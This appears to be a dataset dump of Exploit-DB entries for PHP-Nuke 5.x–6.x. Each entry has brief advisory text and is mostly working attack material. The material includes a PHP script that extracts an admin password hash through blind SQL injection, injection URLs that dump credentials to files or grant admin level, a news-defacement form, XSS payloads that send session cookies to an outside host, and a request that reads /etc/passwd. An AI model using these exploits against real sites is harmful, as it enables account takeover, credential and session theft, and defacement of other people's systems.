deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22266
Description: PHP-Nuke 5.6/6.0 - Search Engine SQL Injection
Type: webapps
Platform: php
Date: 2003-02-19
Author: David Zentner

Exploit:
source: https://www.securityfocus.com/bid/6887/info


It has been reported that the search module distributed with PHPNuke is vulnerable to an SQL injection attack.

PHPNuke, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. This may result in unauthorized operations being performed on the underlying database. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker. 

<?php

########## PHPnuke Auto-SelectFish Attacker
########## David@cgishield.com
########## works on phpnuke 5.6 and 6.0

// To use this program, simply upload it to a php enabled webserver, and execute
// If php times out before the whole password hash is determined, 
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:

$server="www.phpnuke.org";
$script="/modules.php";

// Title of a story created specifically by the admin who is being hacked.
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";



$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);

$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";

for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){

$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_account_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");

if (eregi("No matches found to your query","$data")){

}
else{

echo("<br>$i= $i2"); flush();break;}

}

}


function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}

return $buf;
}


?>
Exploit-DB #22411
Description: PHP-Nuke 5.6/6.x - 'banners.php' Banner Manager Password Disclosure
Type: webapps
Platform: php
Date: 2003-03-22
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7170/info

It has been reported that an input validation error exists in the banners.php file included with PHPNuke. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database, and potentially access sensitive information, then download it via the web.

This will save id, name and crypted password into
http://www.example.com/banners1.txt :
http://www.example.com/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners1.txt

This will save crypted password into http://[target]/banners2.txt :
http://www.example.com/banners.php?op=Change&cid='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners2.txt
Exploit-DB #22413
Description: PHP-Nuke 5.6/6.x News Module - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-03-22
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7172/info

It has been reported that an input validation error exists in the article.php file included with PHPNuke as part of the News module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database, and gain unauthorized access to user accounts.

if magic_quotes_gpc=OFF :

Change our level (into admin) :
http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4

or

http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4

or

http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4


Change the user Bob's password :
http://www.example.com/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*
Exploit-DB #22414
Description: PHP-Nuke 5.6/6.x News Module - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-03-23
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7173/info

It has been reported that an input validation error exists in the index.php file included with PHPNuke as part of the News module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database and alter information on articles posted on the site.

If magic_quotes_gpc=OFF or ON

<html>
<head>
<title>PHP-Nuke Change News</title>
</head>
<body>
<?
function ascii_phpnuke_exploit($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($submit)) {

$score="1";
if (isset($title)) {
$score.=", title=char(".ascii_phpnuke_exploit($title).")";
}
if (strlen($hometext)>1) {
$score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
}
if (strlen($bodytext)>1){
$score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
}
?>

<b>Target URL : </b><? echo $target; ?><br><br>
<b>SID : </b><? echo $sid; ?><br><br>
<b>New Title : </b><? echo $title; ?><br><br>
<b>New Story Text : </b><? echo $hometext; ?><br><br>
<b>New Extended Text : </b><? echo $bodytext; ?><br><br>


<form method="POST" action="<? echo $target; ?>/modules.php">
<input type="hidden" name="name" value="News">
<input type="hidden" name="op" value="rate_article">
<input type="hidden" name="sid" value="<? echo $sid; ?>">
<input type="hidden" name="score" value="<? echo $score; ?>">
<input type="submit" name="submit" value="Change the News">
</form>
<input type="submit" value="Back" onclick="history.go(-1)">

<?
}else{
?>

<form method="GET" action="<? echo $PHP_SELF; ?>">
Target URL : <input type="text" name="target"><br>
News SID : <input type="text" name="sid"><br><br>
<b>New Title :</b><br> <input type="text" name="title"><br>
<br><br><b>New Story Text :</b><br><textarea cols="50" rows="12"
name="hometext">&lt;/textarea&gt;
<br><br><br><b>New Extended Text : </b><br><textarea cols="50" rows="12"
name="bodytext">&lt;/textarea&gt;<br><br>
<input type="submit" name="submit" value="Preview">
</form>

<?
}
?>

</body>
</html>
Exploit-DB #21349
Description: PHP-Nuke 5.x - Error Message Web Root Disclosure
Type: webapps
Platform: php
Date: 2002-03-21
Author: godminus

Exploit:
source: https://www.securityfocus.com/bid/4333/info

PHP-Nuke is a popular web based Portal system. It allows users to create accounts and contribute content to the site.

A vulnerability has been reported in some versions of PHP-Nuke. Reportedly, a maliciously constructed HTTP request will cause the index.php script to return an error message which includes the full path of the script.

It has been suggested that this is the result of an insecure server configuration. 

http://www.site.com/index.php?file=index.php
Exploit-DB #22211
Description: PHP-Nuke 5.x/6.0 - Avatar HTML Injection
Type: webapps
Platform: php
Date: 2003-02-03
Author: delusion

Exploit:
source: https://www.securityfocus.com/bid/6750/info

A problem with PHP-Nuke could allow remote users to execute arbitrary code in the context of the web site. The problem is in the lack of sanitization of some types of input.

PHP-Nuke does not sanitize code submitted to a site from the avatar select box. Due to this, a malicious user may be able to submit embedded code from their profile page instead of an avatar. This would result in code being executed in the location where a user's avatar should normally display. This code would be executed by a victim user's browser in the context of the site.

<!-- START CODE --!>
<form name="Register"
action="http://NUKEDSITE/modules.php?name=Your_Account" method="post">

<b>Code ('">[code]<b ')</b><input type="text" name="user_avatar" size="30"
maxlength="30"><br><br>

<b>Username</b><input type="text" name="uname" size="30"
maxlength="255"><br><b>User ID:<input type="text" name="uid"
size="30"><input type="hidden" name="op" value="saveuser"><input
type="submit" value="Save Changes"></form>
<!-- END CODE --!>


To modify other users avatar information:

Search for "saveuser" you should get to a function that looks like this..

function saveuser($uid, $realname, $uname, $email, etc...

right underneath the function call, put this in..

$referer = getenv("HTTP_REFERER");
$nukeurl="http://digital-delusions.com";
$nukeurl2="http://digital-delusions.dyn.ee";
$nukeurl3="http://192.168.0.254";
if (substr("$referer",0,strlen($nukeurl))==$nukeurl OR
substr("$referer",0,strlen($nukeurl2))==$nukeurl2 OR
substr("$referer",0,strlen($nukeurl3))==$nukeurl3) {

make sure u change my URLs to your site's urls.

[ ... ]

Header("Location: modules.php?name=$module_name");
}
}
}

before the last "}" paste this..

} else {
echo "delusion ownz j00";
}
Exploit-DB #22037
Description: PHP-Nuke 5.x/6.0/6.5 Beta 1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2002-11-25
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6244/info

everal cross site scripting vulnerabilities have been reported for PHP-Nuke.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the web-based forum.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

<SCRIPT>location.href="http://www.techie.hopto.org/fetch.php?
email=mattmurphy@kc.rr.com&ref="+document.URL+"cookie="+document.cookie;

<B
STYLE="left:expression(eval('location.href=\'http://www.techie.hopto.org/
fetch.php?email=mattmurphy@kc.rr.com&ref=\'+document.URL+\'cookie=\'+
document.cookie'))">Bold text -- or an attack?</B>
<B
ONCLICK="location.href='http://www.techie.hopto.org/fetch.php?
email=mattmurphy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">
Don't Click</B>
<B
ONMOUSEOVER="location.href='http://www.techie.hopto.org/fetch.php?
email=mattmurphy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">Keep
Away!</B>
Exploit-DB #22589
Description: PHP-Nuke 5.x/6.x Web_Links Module - SQL Injection
Type: webapps
Platform: php
Date: 2003-05-12
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7558/info

It has been reported that multiple input validation bugs exist in the Web_Links module used by PHPNuke. Because of this, a remote user may be able to access the database and potentially gain access to sensitive information. Successful exploitation could result in compromise of the web forums or more severe consequences. 

http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=2%20<our_code>

where <our_code> represents attacker-supplied SQL code.
Exploit-DB #24166
Description: PHP-Nuke 5.x/6.x/7.x - Direct Script Access Security Bypass
Type: webapps
Platform: php
Date: 2004-06-01
Author: Squid

Exploit:
source: https://www.securityfocus.com/bid/10447/info

PHP-Nuke is affected by a direct script access security vulnerability. This issue is due to a failure to properly validate the location and name of the file being accessed.

This issue will allow an attacker to gain access to sensitive scripts such as the 'admin.php' script. The attacker may be able to exploit this unauthorized access to carry out attacks against the affected application.

http://www.example.com/admin/case/case.adminfaq.php/admin.php?op=FaqCatGo
http://www.example.com/admin/admin.php/index.php
http://www.example.com/admin/modules/blocks.php/admin.php
Exploit-DB #21862
Description: PHP-Nuke 6.0 - 'modules.php' SQL Injection
Type: webapps
Platform: php
Date: 2002-09-25
Author: Pedro Inacio

Exploit:
source: https://www.securityfocus.com/bid/5799/info

A SQL injection vulnerability has been discovered in PHPNuke.

Due to insufficient sanitization of variables used in SQL queries, it is possible to modify the logic of SQL queries.

This issue could result in a denial of service attack or the corruption of database information.

This issue was reported in PHPNuke version 6.0. Other versions may also be affected. 

http://www.nukesite.com/modules.php?name=News&file=article&sid=1234%20or%
201=1
Exploit-DB #22103
Description: PHP-Nuke 6.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2002-12-16
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6409/info

It has been discovered that multiple PHP scripts used by PHP-Nuke are vulnerable to cross-sitescripting attacks. Due to insufficient sanitization of web requests it is possible for script code to be embedded in PHP script requests.

By constructing a malicious link which exploits one of these vulnerabilities, it may be possible to execute arbitrary code within the context of a website visited by an unsuspecting user. This may allow a remote attacker to steal cookie-based authentication credentials, which could be used at a later time to hijack a users web session. 

http://[target]/modules/Forums/bb_smilies.php?name=[SCRIPT]
http://[target]/modules/Forums/bb_smilies.php?Default_Theme=[SCRIPT]
http://[target]/modules/Forums/bb_smilies.php?site_font=}--></style>[SCRIPT]
http://[target]/modules/Forums/bb_smilies.php?bgcolor1=">[SCRIPT]
or with :
$sitename
$table_width
$color1
$forumver

/modules/Forums/bbcode_ref.php with :
$name
$Default_Theme
$site_font
$sitename
$bgcolor2
$textcolor1
$bgcolor1
$forumver

/modules/Forums/editpost.php, /modules/Forums/newtopic.php,
/modules/Forums/reply.php, /modules/Forums/topicadmin.php,
/modules/Forums/viewforum.php with :
$name

/modules/Forums/searchbb.php with :
$name
$bgcolor3
$bgcolor1
Exploit-DB #22102
Description: PHP-Nuke 6.0 - Multiple Full Path Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2002-12-16
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6406/info

Multiple path disclosure vulnerabilities have been discovered in PHP-Nuke. This issue occurs when requesting a PHP script that shouldn't be accessed directly.

Exploiting this issue will cause the target server to disclose sensitive information about the layout of the filesystem of the host running the vulnerable software. Information of this nature may aid in mounting further attacks against the host.

http://[target]/modules/Downloads/voteinclude.php
http://[target]/modules/Your_Account/navbar.php
http://[target]/modules/Forums/attachment.php
Exploit-DB #21859
Description: PHP-Nuke 6.0 - News Message HTML Injection
Type: webapps
Platform: php
Date: 2002-09-25
Author: das@hush.com

Exploit:
source: https://www.securityfocus.com/bid/5796/info

Problems with PHPNuke could make it possible to execute arbitrary script code in a vulnerable client.

PHPNuke does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the PHPNuke software. 

<IMG SRC="javascript:alert('unsecure')">
Exploit-DB #22089
Description: PHP-Nuke 6.0 - Web Mail Remote PHP Script Execution
Type: webapps
Platform: php
Date: 2002-12-16
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/6399/info

A vulnerability has been discovered in the PHP-Nuke Web Mail module. When a user opens an email that contains an attachment, the file will be put in a remotely accessible web directory. It has been reported that the vulnerable module fails to filter active content passed as attachments, thereby allowing a malicious PHP script to be stored in a web directory. 

By accessing a PHP script located in the web directory, arbitrary PHP commands will be executed on the target server.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22090.zip
Exploit-DB #22090
Description: PHP-Nuke 6.0 - Web Mail Script Injection
Type: webapps
Platform: php
Date: 2002-12-16
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/6400/info

A vulnerability has been discovered in the PHP-Nuke web mail module. Due to insufficient sanitization of HTML emails it is possible for an attacker to embed script code into malicious messages. Opening an email containing attacker-supplied script code would result in the execution of arbitrary script code within the client's browser.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22090.zip
Exploit-DB #21855
Description: PHP-Nuke 6.0/6.5 - Search Form Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-09-24
Author: Mark Grimes

Exploit:
source: https://www.securityfocus.com/bid/5788/info

PHPNuke 6.0 is prone to cross-site scripting attacks.

HTML tags are not filtered from links to the 'modules.php' script.

Reportedly, the problem lies in the 'Search' page of the 'modules.php' script. It is possible for a malicious attacker to submit a search string that contains HTML code. The value of this search string is not sanitized before it is included in PHP generated HTML and output to the client.

This attack may be used to steal a user's cookie-based authentication credentials for the vulnerable PHPNuke site.

<script>alert(document.cookie);</script>

It is possible to enter the above in the text field provided by the 'Search' page.
Exploit-DB #22424
Description: PHP-Nuke 6.0/6.5 Forum Module - 'viewforum.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-03-25
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7194/info

It has been reported that an input validation error exists in the 'viewforum.php' script included with PHPNuke as part of the Forum module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to inject SQL commands and queries into the SQL database used by PHPNuke.

http://www.example.com/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/vf.txt'/*
Exploit-DB #22423
Description: PHP-Nuke 6.0/6.5 Forum Module - 'viewtopic.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-03-25
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7193/info

It has been reported that an input validation error exists in the 'viewtopic.php' script included with PHPNuke as part of the Forum module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to inject SQL commands and queries into the SQL database used by PHPNuke.

http://www.example.com/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'[path/to/site]/vt.txt
Exploit-DB #22598
Description: PHP-Nuke 6.0/6.5 Web_Links Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-05-13
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/7589/info

The Web_Links module for PHP-Nuke has been reported prone to a vulnerability which, when exploited, may disclose sensitive path information to a remote attacker.

An attacker may use the information gathered in this manner to mount further attacks against the host.

It should be noted that although PHP-Nuke version 6.x has been reported vulnerable, other versions might also be affected. 

http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=[any_words]
http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink
Exploit-DB #22597
Description: PHP-Nuke 6.5 (Multiple Downloads Module) - SQL Injection
Type: webapps
Platform: php
Date: 2003-05-13
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7588/info

PHP-Nuke is reportedly prone to multiple SQL injection vulnerabilities in the Downloads module. Exploitation could allow for injection of malicious SQL syntax, resulting in modification of SQL query logic or other attacks. 

http://www.example.com/modules.php?name=Downloads&d_op=getit&lid=2%20<our_code>

where <our_code> represents SQL code that can be injected.
Exploit-DB #22595
Description: PHP-Nuke 6.5 - 'modules.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-05-13
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/7570/info

A cross site scripting vulnerability has been reported for PHP-Nuke. Specifically, PHP-Nuke does not sufficiently sanitize user-supplied input for the 'username' URI parameter to the modules.php script.

This may allow for theft of cookie-based authentication credentials and other attacks. 

http://[victim]/modules.php?name=Your_Account&op=userinfo&
username=bla<script>alert(document.cookie)</script>
Exploit-DB #22422
Description: PHP-Nuke 6.5 Addon - 'Viewpage.php' File Disclosure
Type: webapps
Platform: php
Date: 2003-03-25
Author: Zero-X www.lobnan.de Team

Exploit:
source: https://www.securityfocus.com/bid/7191/info

PHP-Nuke has been reported prone to a file disclosure vulnerability when using the viewpage.php addon.

It has been reported that PHP-Nuke may disclose arbitrary web server readable files under certain circumstances.

It should be noted that this issue reportedly affects PHP-Nuke version 6.5 when running a specific configuration, however other versions may also be affected.

http://www.example.com/viewpage.php?file=/etc/passwd